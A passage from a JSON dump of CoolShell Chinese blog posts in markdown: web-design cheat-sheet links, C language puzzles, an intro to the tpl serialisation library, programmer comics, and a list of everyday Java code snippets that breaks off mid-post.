表](http://www.design215.com/toolbox/megapixels.php \"Design215 - megapixels comparison and maximum print size charts\")\n\n\nhttp://images.sixrevisions.com/2008/09/07-16_megapixels_chart.pngDownload: [GIF](http://www.design215.com/toolbox/images/megapixels.gif \"GIF Download - Megapixels Chart\")\n\n\n### CSS/CSS 框架\n\n\n#### [Blueprint CSS 速查卡](http://www.christianmontoya.com/2007/11/12/blueprint-css-cheat-sheet/ \"The Montoya Herald - Blueprint CSS Cheat Sheet\")\n\n\nhttp://images.sixrevisions.com/2008/09/07-17_blueprint_css.pngDownload: [PDF](http://www.digitart.net/blueprintcss/bluebrintcss.pdf \"PDF Download - Blueprint CSS Cheat Sheet\")\n\n\n#### [YUI Library: CSS Reset, Base, Fonts, and Grids](http://yuiblog.com/assets/pdf/cheatsheets/css.pdf \"YUI Library - CSS Reset, Base, Fonts, and Grids\") (PDF)\n\n\nhttp://images.sixrevisions.com/2008/09/07-18_yui_library.png\n\n\n#### [CSS 速查卡](http://www.eddiewelker.com/wp-content/uploads/2007/09/csscheatsheet.pdf) (PDF)\n\n\nhttp://images.sixrevisions.com/2008/09/07-19_css_shorthand_cheat_sheet.png\n\n\n#### [Apple’s CSS 速查卡](http://www.apple.com/downloads/dashboard/developer/csscheatsheet.html \"Apple Dashboard Widgets - CSS Cheat Sheet\") (Mac Dashboard Widget)\n\n\nhttp://images.sixrevisions.com/2008/09/07-20_apple_css_cheat_sheet.jpg\n\n\n### HTML/XHTML\n\n\n#### [HTML & XHTML 标识速查](http://home.uchicago.edu/~gan/file/html.pdf) (PDF)\n\n\nhttp://images.sixrevisions.com/2008/09/07-21_html_xhtml_quick_ref.png\n\n\n#### [HTML/XHTML 特殊字符表](http://www.html.su/entities.html)\n\n\nhttp://images.sixrevisions.com/2008/09/07-22_xhtml_character_entitites.png\n\n\n#### [XHTML 特殊字符](http://www.digitalmediaminute.com/reference/entity/index.php) (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-23_html_xhtml_character.png\n\n\n### Dreamweaver\n\n\n#### [Dreamweaver 快速索引](http://www.uwsp.edu/it/ApplicationSupport/appSuppDocsImages/referenceGuides/dreamweaver-quick-reference-cs3.pdf) (PDF)\n\n\nhttp://images.sixrevisions.com/2008/09/07-24_dreamweaver_quick_reference.png\n\n\n#### [Dreamweaver CS3 for Mac Quick Reference Card](http://daviddiskin.com/documents/Dreamweaver%20CS3%20for%20Mac.pdf) (PDF)\n\n\nhttp://images.sixrevisions.com/2008/09/07-25_dreamweaver_cs3_mac.png\n\n\n### Illustrator\n\n\n#### [Adobe Illustrator CS2 热键– MAC](http://www.nobledesktop.com/shortcuts-illustratorcs2-mac.html)\n\n\nhttp://images.sixrevisions.com/2008/09/07-26_illustrator.pngDownload: [PDF](http://www.nobledesktop.com/download/shortcut_guides/illustrator_cs2_shortcuts_mac.pdf)\n\n\n### Browsers\n\n\n#### [浏览器兼容性表](http://centricle.com/ref/css/filters/?highlight_columns=true) (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-27_browser_rules.png\n\n\n#### [W3C DOM 兼容性表](http://www.quirksmode.org/dom/compatibility.html#t00) (HTML)\n\n\nhttp://images.sixrevisions.com/2008/09/07-28_w3c_dom_compatibility.png\n\n\n文章：[来源](http://sixrevisions.com/resources/cheat_sheets_for_web_designers/)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Chrome开发者工具的小技巧](../wp-content/uploads/2017/01/pretty-code-150x150.gif)](https://coolshell.cn/articles/17634.html)[Chrome开发者工具的小技巧](https://coolshell.cn/articles/17634.html)\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [![CSS 布局:40个教程、技巧、例子和最佳实践](../wp-content/uploads/2012/03/css-layouts-150x150.gif)](https://coolshell.cn/articles/6840.html)[CSS 布局:40个教程、技巧、例子和最佳实践](https://coolshell.cn/articles/6840.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/0.jpg](https://coolshell.cn/articles/3063.html)[40个很不错的CSS技术](https://coolshell.cn/articles/3063.html)\nThe post [Web设计的速查卡](https://coolshell.cn/articles/870.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-19 谁说C语言很简单？.md",
    "content": "---\nlayout: post\ntitle: 谁说C语言很简单？\ndate: 2009/5/19/ 14:10:25\nupdated: 2009/5/19/ 14:10:25\nstatus: publish\npublished: true\ntype: post\n---\n\n\n前两天，Neo写了一篇《[语言的歧义](https://coolshell.cn/articles/830.html)》其使用C语言讨论了一些语言的歧义。大家应该也顺便了解了一下C语言中的很多不可思异的东西，可能也是你从未注意到的东西。\n\n\n是的，C语言并不简单，让我们来看看下面这些示例：\n\n\n1. **为什么下面的代码会返回0？(这题应该很简单吧)**\n\n```\n int x;\n return x == (1 && x);\n\n```\n\n本题主要是关于C/C++中变量初始化的问题。\n3. **为什么下面的代码会返回0而不是-1？**\n\n```\n return ((1 - sizeof(int)) >> 32);\n\n```\n\n答案：sizeof 是一个unsigned的类型，所以……\n4. **代码作用域是一件很诡异的事，下面这个函数返回值是什么？**\n\n```\nint x = 5;\nint f() {\n int x = 3;\n {\n extern int x;\n return x;\n }\n}\n\n```\n\n答案：5\n5. **函数和函数指针可以相互转换。下面的语句哪些是合法的？**\n\n```\nint (\\*pf)(void);\nint f(void)\n{\n\n pf = &f; // 没问题\n pf = \\*\\*\\*f; // 取址？\n pf(); // 函数指针可以调用？\n (\\*\\*\\*\\*pf)(); // 这又是什么？\n (\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*\\*f)(); // 这个够变态了吧？\n}\n\n```\n\n答案：全部合法。\n6. **初始化可能是ISO C中最难的部分了。无论是MSVC 还是GCC 都没有完全实现。GCC 可能更接近标准。在下面的代码中，i.nested.y 和i.nested.z的最终值是什么？**\n\n```\nstruct {\n int x;\n struct {\n int y, z;\n } nested;\n} i = { .nested.y = 5, 6, .x = 1, 2 };\n\n```\n\n答案：2和6\n7. **下面这个示例是C语言的痛，main函数返回值是什么？**\n\n```\ntypedef struct\n{\n char \\*key;\n char \\*value;\n} T1;\n\ntypedef struct\n{\n long type;\n char \\*value;\n} T3;\n\nT1 a[] =\n{\n {\n \"\",\n ((char \\*)&((T3) {1, (char \\*) 1}))\n }\n};\nint main() {\n T3 \\*pt3 = (T3\\*)a[0].value;\n return pt3->value;\n}\n\n```\n\n答案：1（你知道为什么吗？）\n8. **下面这个例就更变态了。在GCC的文档中，这个语法是合法的，但是不知道为什么GCC并没有实现。下面的代码返回 2.**\n\n```\n return ((int []){1,2,3,4})[1];\n\n```\n9. **在下面的这个示例中，有一个“bar” 函数及其函数指针 “pbar” 的两个拷贝(static 类型一般作用于语句块或文件域).**\n\n```\n int foo() {\n static bar();\n static (\\*pbar)() = bar;\n\n }\n\n static bar() {\n return 1;\n }\n\n static (\\*pbar)() = 0;\n\n```\n10. **下面的这个函数返回值是什么？取决于编译器是先处理unsigned long转型，还是负号。**\n\n```\n unsigned long foo() {\n return (unsigned long) - 1 / 8;\n }\n\n```\n\n如果是： ((unsigned long) - 1) / 8，那将是一个很大的数。  \n\n如果是： (unsigned long) (- 1 / 8 ), 那将是 0\n\n\n是的，这样使用C语言可能很奇怪，不过我们可以从另一方面了解C语言的很多我们不常注意的特性。C语言其实并不容易。\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [谁说C语言很简单？](https://coolshell.cn/articles/873.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-21 一个C的序列化库tpl.md",
    "content": "---\nlayout: post\ntitle: 一个C的序列化库tpl\ndate: 2009/5/21/ 14:54:21\nupdated: 2009/5/21/ 14:54:21\nstatus: publish\npublished: true\ntype: post\n---\n\ntpl(<http://tpl.sourceforge.net/>)是一个开源的小项目，其主要是提供一个可以序列化或反序列化C语言数据的一个API函数库。tpl号称是最有效率的也是最快的，它可以把你内存中的数据存放到文件中，并可以在你需要的时候用文件中反序例化到内存变量中。而且这个函数库没有依赖于别的函数库。\n\n\n下面是一个简单的示例（来源于其主页）\n\n\n把一个数组（“序号”和“人名”）序例化到文件中。\n\n\n\n\n```\n\n#include \"tpl.h\"\n\nint main(int argc, char *argv[]) {\n    tpl_node *tn;\n    int id=0;\n    char *name, *names[] = { \"joe\", \"bob\", \"cary\" };\n\n    tn = tpl_map(\"A(is)\", &id, &name);\n\n    for(name=names[0]; id < 3; name=names[++id]) {\n        tpl_pack(tn,1);\n    }\n\n    tpl_dump(tn, TPL_FILE, \"users.tpl\");\n    tpl_free(tn);\n}\n\n```\n\n把上面那个序列化到文件的“序号”和“人名”反序列化回来。\n\n\n\n```\n\n#include \"tpl.h\"\n\nint main(int argc, char *argv[]) {\n    tpl_node *tn;\n    int id;\n    char *name;\n\n    tn = tpl_map(\"A(is)\", &id, &name);\n    tpl_load(tn, TPL_FILE, \"users.tpl\");\n\n    while ( tpl_unpack(tn,1) > 0 ) {\n        printf(\"id %d, user %s\\n\", id, name);\n        free(name);\n    }\n    tpl_free(tn);\n}\n\n```\n\n更详细的使用说明请看其文档：  \n\n<http://tpl.sourceforge.net/userguide.html>\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![Rust语言的编程范式](../wp-content/uploads/2020/03/rust-social-wide-150x150.jpg)](https://coolshell.cn/articles/20845.html)[Rust语言的编程范式](https://coolshell.cn/articles/20845.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![API设计原则 – Qt官网的设计实践总结](../wp-content/uploads/2017/07/api-design-300x278-2-150x150.jpg)](https://coolshell.cn/articles/18024.html)[API设计原则 – Qt官网的设计实践总结](https://coolshell.cn/articles/18024.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![State Threads 回调终结者](../wp-content/uploads/2014/10/edsm-150x150.gif)](https://coolshell.cn/articles/12012.html)[State Threads 回调终结者](https://coolshell.cn/articles/12012.html)\n* [![C语言的整型溢出问题](../wp-content/uploads/2014/04/c99-150x150.jpg)](https://coolshell.cn/articles/11466.html)[C语言的整型溢出问题](https://coolshell.cn/articles/11466.html)\nThe post [一个C的序列化库tpl](https://coolshell.cn/articles/878.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-21 几个有意思的漫画.md",
    "content": "---\nlayout: post\ntitle: 几个有意思的漫画\ndate: 2009/5/21/ 15:7:47\nupdated: 2009/5/21/ 15:7:47\nstatus: publish\npublished: true\ntype: post\n---\n\n\n#### 软件Bug和软件Feature的差别\n\n\n注释：有时候bug和feature的差别就是bug长得难看了一些。\n\n\n[![bug-feature](../wp-content/uploads/2009/05/bug-feature-300x225.jpg \"bug-feature\")](https://coolshell.cn/wp-content/uploads/2009/05/bug-feature.jpg)\n\n\n\n \n\n\n#### 一个理解流程图的指南\n\n\n[![flow_charts](../wp-content/uploads/2009/05/flow_charts.png \"flow_charts\")](https://coolshell.cn/wp-content/uploads/2009/05/flow_charts.png)\n\n\n#### 什么叫极限编程\n\n\n注释，对话翻译——\n\n\n1）程序员：我不能在第一个版本给你所有的的功能。  \n\n2）程序员：并且，每个功能需要有一个所谓的“用户案例（User Story）”  \n\n3）用户：好吧，我告诉你一个“用户案例”——我要所有的功能，不然我就毁了你的生活。\n\n\n[![extreme-programming](../wp-content/uploads/2009/05/extreme-programming.gif \"extreme-programming\")](https://coolshell.cn/wp-content/uploads/2009/05/extreme-programming.gif)\n\n\n\n#### 如何衡量好的代码\n\n\n注释：下图中用“代码审核”流程中的每分钟出现“脏话”的个数来衡量代码的质量。（WTF is stand for “What the F\\*\\*K”）\n\n\n[![measurement-of-code-quality](../wp-content/uploads/2009/05/measurement-of-code-quality.jpg \"measurement-of-code-quality\")](https://coolshell.cn/wp-content/uploads/2009/05/measurement-of-code-quality.jpg)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![主流文本编辑器学习曲线](../wp-content/uploads/2010/10/horrorstories.txt-150x150.jpg)](https://coolshell.cn/articles/3125.html)[主流文本编辑器学习曲线](https://coolshell.cn/articles/3125.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/13.jpg](https://coolshell.cn/articles/2078.html)[如何防范密码被破解](https://coolshell.cn/articles/2078.html)\n* [![挑战无处不在](../wp-content/uploads/2012/04/11_154056_1-300x225-1-150x150.jpg)](https://coolshell.cn/articles/7048.html)[挑战无处不在](https://coolshell.cn/articles/7048.html)\n* [![再谈javascript面向对象编程 ](../wp-content/uploads/2012/02/joo_1-150x150.png)](https://coolshell.cn/articles/6668.html)[再谈javascript面向对象编程](https://coolshell.cn/articles/6668.html)\n* [![编程语言进化](../wp-content/uploads/2010/10/language-evolution-150x150.jpg)](https://coolshell.cn/articles/3100.html)[编程语言进化](https://coolshell.cn/articles/3100.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg](https://coolshell.cn/articles/3549.html)[Android将允许纯C/C++开发应用](https://coolshell.cn/articles/3549.html)\nThe post [几个有意思的漫画](https://coolshell.cn/articles/880.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-5-23 20非常有用的Java程序片段.md",
    "content": "---\nlayout: post\ntitle: 20非常有用的Java程序片段\ndate: 2009/5/23/ 7:9:36\nupdated: 2009/5/23/ 7:9:36\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是20个非常有用的Java程序片段，希望能对你有用。\n\n\n**1. 字符串有整型的相互转换**\n\n\n\n```\n \nString a = String.valueOf(2);   //integer to numeric string  \nint i = Integer.parseInt(a); //numeric string to an int \n\n\n```\n\n  \n\n**2. 向文件末尾添加内容**\n\n\n\n```\n \nBufferedWriter out = null;  \ntry {  \n    out = new BufferedWriter(new FileWriter(”filename”, true));  \n    out.write(”aString”);  \n} catch (IOException e) {  \n    // error processing code  \n} finally {  \n    if (out != null) {  \n        out.close();  \n    }  \n} \n\n```\n\n**3. 得到当前方法的名字**\n\n\n\n```\n\nString methodName = Thread.currentThread().getStackTrace()[1].getMethodName(); \n\n```\n\n**4. 转字符串到日期**\n\n\n\n```\n \njava.util.Date = java.text.DateFormat.getDateInstance().parse(date String); \n\n```\n\n或者是：\n\n\n\n```\n \nSimpleDateFormat format = new SimpleDateFormat( \"dd.MM.yyyy\" );  \nDate date = format.parse( myString ); \n\n```\n\n**5. 使用JDBC链接Oracle**\n\n\n\n```\n\npublic class OracleJdbcTest  \n{  \n    String driverClass = \"oracle.jdbc.driver.OracleDriver\";  \n \n    Connection con;  \n \n    public void init(FileInputStream fs) throws ClassNotFoundException, SQLException, FileNotFoundException, IOException  \n    {  \n        Properties props = new Properties();  \n        props.load(fs);  \n        String url = props.getProperty(\"db.url\");  \n        String userName = props.getProperty(\"db.user\");  \n        String password = props.getProperty(\"db.password\");  \n        Class.forName(driverClass);  \n \n        con=DriverManager.getConnection(url, userName, password);  \n    }  \n \n    public void fetch() throws SQLException, IOException  \n    {  \n        PreparedStatement ps = con.prepareStatement(\"select SYSDATE from dual\");  \n        ResultSet rs = ps.executeQuery();  \n \n        while (rs.next())  \n        {  \n            // do the thing you do  \n        }  \n        rs.close();  \n        ps.close();  \n    }  \n \n    public static void main(String[] args)  \n    {  \n        OracleJdbcTest test = new OracleJdbcTest();  \n        test.init();  \n        test.fetch();  \n    }  \n} \n\n```\n\n**6. 把 Java util.Date 转成 sql.Date**\n\n\n\n```\n\njava.util.Date utilDate = new java.util.Date();  \njava.sql.Date sqlDate = new java.sql.Date(utilDate.getTime()); \n\n```\n\n**7. 使用NIO进行快速的文件拷贝**  \n\n \n\n\n\n```\n\npublic static void fileCopy( File in, File out )  \n            throws IOException  \n    {  \n        FileChannel inChannel = new FileInputStream( in ).getChannel();  \n        FileChannel outChannel = new FileOutputStream( out ).getChannel();  \n        try \n        {  \n//          inChannel.transferTo(0, inChannel.size(), outChannel);      // original -- apparently has trouble copying large files on Windows  \n \n            // magic number for Windows, 64Mb - 32Kb)  \n            int maxCount = (64 * 1024 * 1024) - (32 * 1024);  \n            long size = inChannel.size();  \n            long position = 0;  \n            while ( position < size )  \n            {  \n               position += inChannel.transferTo( position, maxCount, outChannel );  \n            }  \n        }  \n        finally \n        {  \n            if ( inChannel != null )  \n            {  \n               inChannel.close();  \n            }  \n            if ( outChannel != null )  \n            {  \n                outChannel.close();  \n            }  \n        }  \n    } \n\n```\n\n**8. 创建图片的缩略图**\n\n\n\n```\n\nprivate void createThumbnail(String filename, int thumbWidth, int thumbHeight, int quality, String outFilename)  \n        throws InterruptedException, FileNotFoundException, IOException  \n    {  \n        // load image from filename  \n        Image image = Toolkit.getDefaultToolkit().getImage(filename);  \n        MediaTracker mediaTracker = new MediaTracker(new Container());  \n        mediaTracker.addImage(image, 0);  \n        mediaTracker.waitForID(0);  \n        // use this to test for errors at this point: System.out.println(mediaTracker.isErrorAny());  \n \n        // determine thumbnail size from WIDTH and HEIGHT  \n        double thumbRatio = (double)thumbWidth / (double)thumbHeight;  \n        int imageWidth = image.getWidth(null);  \n        int imageHeight = image.getHeight(null);  \n        double imageRatio = (double)imageWidth / (double)imageHeight;  \n        if (thumbRatio < imageRatio) {  \n            thumbHeight = (int)(thumbWidth / imageRatio);  \n        } else {  \n            thumbWidth = (int)(thumbHeight * imageRatio);  \n        }  \n \n        // draw original image to thumbnail image object and  \n        // scale it to the new size on-the-fly  \n        BufferedImage thumbImage = new BufferedImage(thumbWidth, thumbHeight, BufferedImage.TYPE_INT_RGB);  \n        Graphics2D graphics2D = thumbImage.createGraphics();  \n        graphics2D.setRenderingHint(RenderingHints.KEY_INTERPOLATION, RenderingHints.VALUE_INTERPOLATION_BILINEAR);  \n        graphics2D.drawImage(image, 0, 0, thumbWidth, thumbHeight, null);  \n \n        // save thumbnail image to outFilename  \n        BufferedOutputStream out = new BufferedOutputStream(new FileOutputStream(outFilename));  \n        JPEGImageEncoder encoder = JPEGCodec.createJPEGEncoder(out);  \n        JPEGEncodeParam param = encoder.getDefaultJPEGEncodeParam(thumbImage);  \n        quality = Math.max(0, Math.min(quality, 100));  \n        param.setQuality((float)quality / 100.0f, false);  \n        encoder.setJPEGEncodeParam(param);  \n        encoder.encode(thumbImage);  \n        out.close();  \n    } \n\n```\n\n**9. 创建 JSON 格式的数据**\n\n\n请先阅读[这篇文章](http://viralpatel.net/blogs/2009/02/creating-parsing-json-data-with-java-servlet-struts-jsp-json.html) 了解一些细节，  \n\n并下面这个JAR 文件：[json-rpc-1.0.jar (75 kb)](http://viralpatel.net/blogs/download/json/json-rpc-1.0.jar)\n\n\n\n```\n\nimport org.json.JSONObject;  \n...  \n...  \nJSONObject json = new JSONObject();  \njson.put(\"city\", \"Mumbai\");  \njson.put(\"country\", \"India\");  \n...  \nString output = json.toString();  \n... \n\n```\n\n**10. 使用iText JAR生成PDF**\n\n\n阅读这篇[文章](http://viralpatel.net/blogs/2009/04/generate-pdf-file-in-java-using-itext-jar.html) 了解更多细节\n\n\n\n```\n \nimport java.io.File;  \nimport java.io.FileOutputStream;  \nimport java.io.OutputStream;  \nimport java.util.Date;  \n \nimport com.lowagie.text.Document;  \nimport com.lowagie.text.Paragraph;  \nimport com.lowagie.text.pdf.PdfWriter;  \n \npublic class GeneratePDF {  \n \n    public static void main(String[] args) {  \n        try {  \n            OutputStream file = new FileOutputStream(new File(\"C:\\\\Test.pdf\"));  \n \n            Document document = new Document();  \n            PdfWriter.getInstance(document, file);  \n            document.open();  \n            document.add(new Paragraph(\"Hello Kiran\"));  \n            document.add(new Paragraph(new Date().toString()));  \n \n            document.close();  \n            file.close();  \n \n        } catch (Exception e) {  \n \n            e.printStackTrace();  \n        }  \n    }  \n} \n\n```\n\n**11. HTTP 代理设置**\n\n\n阅读这篇 [文章](http://viralpatel.net/blogs/2009/04/http-proxy-setting-java-setting-proxy-java.html) 了解更多细节。\n\n\n\n```\n \nSystem.getProperties().put(\"http.proxyHost\", \"someProxyURL\");  \nSystem.getProperties().put(\"http.proxyPort\", \"someProxyPort\");  \nSystem.getProperties().put(\"http.proxyUser\", \"someUserName\");  \nSystem.getProperties().put(\"http.proxyPassword\", \"somePassword\"); \n\n```\n\n**12. 单实例Singleton 示例**\n\n\n请先阅读这篇[文章](http://viralpatel.net/blogs/2009/01/java-singleton-design-pattern-tutorial-example-singleton-j2ee-design-pattern.html) 了解更多信息\n\n\n\n```\n \npublic class SimpleSingleton {  \n    private static SimpleSingleton singleInstance =  new SimpleSingleton();  \n \n    //Marking default constructor private  \n    //to avoid direct instantiation.  \n    private SimpleSingleton() {  \n    }  \n \n    //Get instance for class SimpleSingleton  \n    public static SimpleSingleton getInstance() {  \n \n        return singleInstance;  \n    }  \n} \n\n```\n\n另一种实现\n\n\n\n```\n\npublic enum SimpleSingleton {  \n    INSTANCE;  \n    public void doSomething() {  \n    }  \n}  \n \n//Call the method from Singleton:  \nSimpleSingleton.INSTANCE.doSomething(); \n\n```\n\n**13. 抓屏程序**\n\n\n阅读这篇[文章](http://viralpatel.net/blogs/2009/01/how-to-take-screen-shots-in-java-taking-screenshots-java.html) 获得更多信息。\n\n\n\n```\n\nimport java.awt.Dimension;  \nimport java.awt.Rectangle;  \nimport java.awt.Robot;  \nimport java.awt.Toolkit;  \nimport java.awt.image.BufferedImage;  \nimport javax.imageio.ImageIO;  \nimport java.io.File;  \n \n...  \n \npublic void captureScreen(String fileName) throws Exception {  \n \n   Dimension screenSize = Toolkit.getDefaultToolkit().getScreenSize();  \n   Rectangle screenRectangle = new Rectangle(screenSize);  \n   Robot robot = new Robot();  \n   BufferedImage image = robot.createScreenCapture(screenRectangle);  \n   ImageIO.write(image, \"png\", new File(fileName));  \n \n}  \n... \n\n```\n\n \n\n\n \n\n\n**14. 列出文件和目录**\n\n\n\n```\n\nFile dir = new File(\"directoryName\");  \n  String[] children = dir.list();  \n  if (children == null) {  \n      // Either dir does not exist or is not a directory  \n  } else {  \n      for (int i=0; i < children.length; i++) {  \n          // Get filename of file or directory  \n          String filename = children[i];  \n      }  \n  }  \n \n  // It is also possible to filter the list of returned files.  \n  // This example does not return any files that start with `.'.  \n  FilenameFilter filter = new FilenameFilter() {  \n      public boolean accept(File dir, String name) {  \n          return !name.startsWith(\".\");  \n      }  \n  };  \n  children = dir.list(filter);  \n \n  // The list of files can also be retrieved as File objects  \n  File[] files = dir.listFiles();  \n \n  // This filter only returns directories  \n  FileFilter fileFilter = new FileFilter() {  \n      public boolean accept(File file) {  \n          return file.isDirectory();  \n      }  \n  };  \n  files = dir.listFiles(fileFilter); \n\n```\n\n**15. 创建ZIP和JAR文件**\n\n\n\n```\n \nimport java.util.zip.*;  \nimport java.io.*;  \n \npublic class ZipIt {  \n    public static void main(String args[]) throws IOException {  \n        if (args.length < 2) {  \n            System.err.println(\"usage: java ZipIt Zip.zip file1 file2 file3\");  \n            System.exit(-1);  \n        }  \n        File zipFile = new File(args[0]);  \n        if (zipFile.exists()) {  \n            System.err.println(\"Zip file already exists, please try another\");  \n            System.exit(-2);  \n        }  \n        FileOutputStream fos = new FileOutputStream(zipFile);  \n        ZipOutputStream zos = new ZipOutputStream(fos);  \n        int bytesRead;  \n        byte[] buffer = new byte[1024];  \n        CRC32 crc = new CRC32();  \n        for (int i=1, n=args.length; i < n; i++) {  \n            String name = args[i];  \n            File file = new File(name);  \n            if (!file.exists()) {  \n                System.err.println(\"Skipping: \" + name);  \n                continue;  \n            }  \n            BufferedInputStream bis = new BufferedInputStream(  \n                new FileInputStream(file));  \n            crc.reset();  \n            while ((bytesRead = bis.read(buffer)) != -1) {  \n                crc.update(buffer, 0, bytesRead);  \n            }  \n            bis.close();  \n            // Reset to beginning of input stream  \n            bis = new BufferedInputStream(  \n                new FileInputStream(file));  \n            ZipEntry entry = new ZipEntry(name);  \n            entry.setMethod(ZipEntry.STORED);  \n            entry.setCompressedSize(file.length());  \n            entry.setSize(file.length());  \n            entry.setCrc(crc.getValue());  \n            zos.putNextEntry(entry);  \n            while ((bytesRead = bis.read(buffer)) != -1) {  \n                zos.write(buffer, 0, bytesRead);  \n            }  \n            bis.close();  \n        }  \n        zos.close();  \n    }  \n} \n\n```\n\n**16. 解析/读取XML 文件**\n\n\nXML文件  \n\n \n\n\n\n```\n\n<?xml version=\"1.0\"?> \n<students> \n    <student> \n        <name>John</name> \n        <grade>B</grade> \n        <age>12</age> \n    </student> \n    <student> \n        <name>Mary</name> \n        <grade>A</grade> \n        <age>11</age> \n    </student> \n    <student> \n        <name>Simon</name> \n        <grade>A</grade> \n        <age>18</age> \n    </student> \n</students> \n\n```\n\nJava代码\n\n\n\n```\n \npackage net.viralpatel.java.xmlparser;  \n \nimport java.io.File;  \nimport javax.xml.parsers.DocumentBuilder;  \nimport javax.xml.parsers.DocumentBuilderFactory;  \n \nimport org.w3c.dom.Document;  \nimport org.w3c.dom.Element;  \nimport org.w3c.dom.Node;  \nimport org.w3c.dom.NodeList;  \n \npublic class XMLParser {  \n \n    public void getAllUserNames(String fileName) {  \n        try {  \n            DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();  \n            DocumentBuilder db = dbf.newDocumentBuilder();  \n            File file = new File(fileName);  \n            if (file.exists()) {  \n                Document doc = db.parse(file);  \n                Element docEle = doc.getDocumentElement();  \n \n                // Print root element of the document  \n                System.out.println(\"Root element of the document: \" \n                        + docEle.getNodeName());  \n \n                NodeList studentList = docEle.getElementsByTagName(\"student\");  \n \n                // Print total student elements in document  \n                System.out  \n                        .println(\"Total students: \" + studentList.getLength());  \n \n                if (studentList != null && studentList.getLength() > 0) {  \n                    for (int i = 0; i < studentList.getLength(); i++) {  \n \n                        Node node = studentList.item(i);  \n \n                        if (node.getNodeType() == Node.ELEMENT_NODE) {  \n \n                            System.out  \n                                    .println(\"=====================\");  \n \n                            Element e = (Element) node;  \n                            NodeList nodeList = e.getElementsByTagName(\"name\");  \n                            System.out.println(\"Name: \" \n                                    + nodeList.item(0).getChildNodes().item(0)  \n                                            .getNodeValue());  \n \n                            nodeList = e.getElementsByTagName(\"grade\");  \n                            System.out.println(\"Grade: \" \n                                    + nodeList.item(0).getChildNodes().item(0)  \n                                            .getNodeValue());  \n \n                            nodeList = e.getElementsByTagName(\"age\");  \n                            System.out.println(\"Age: \" \n                                    + nodeList.item(0).getChildNodes().item(0)  \n                                            .getNodeValue());  \n                        }  \n                    }  \n                } else {  \n                    System.exit(1);  \n                }  \n            }  \n        } catch (Exception e) {  \n            System.out.println(e);  \n        }  \n    }  \n    public static void main(String[] args) {  \n \n        XMLParser parser = new XMLParser();  \n        parser.getAllUserNames(\"c:\\\\test.xml\");  \n    }  \n} \n\n```\n\n**17. 把 Array 转换成 Map**\n\n\n\n```\n \nimport java.util.Map;  \nimport org.apache.commons.lang.ArrayUtils;  \n \npublic class Main {  \n \n  public static void main(String[] args) {  \n    String[][] countries = { { \"United States\", \"New York\" }, { \"United Kingdom\", \"London\" },  \n        { \"Netherland\", \"Amsterdam\" }, { \"Japan\", \"Tokyo\" }, { \"France\", \"Paris\" } };  \n \n    Map countryCapitals = ArrayUtils.toMap(countries);  \n \n    System.out.println(\"Capital of Japan is \" + 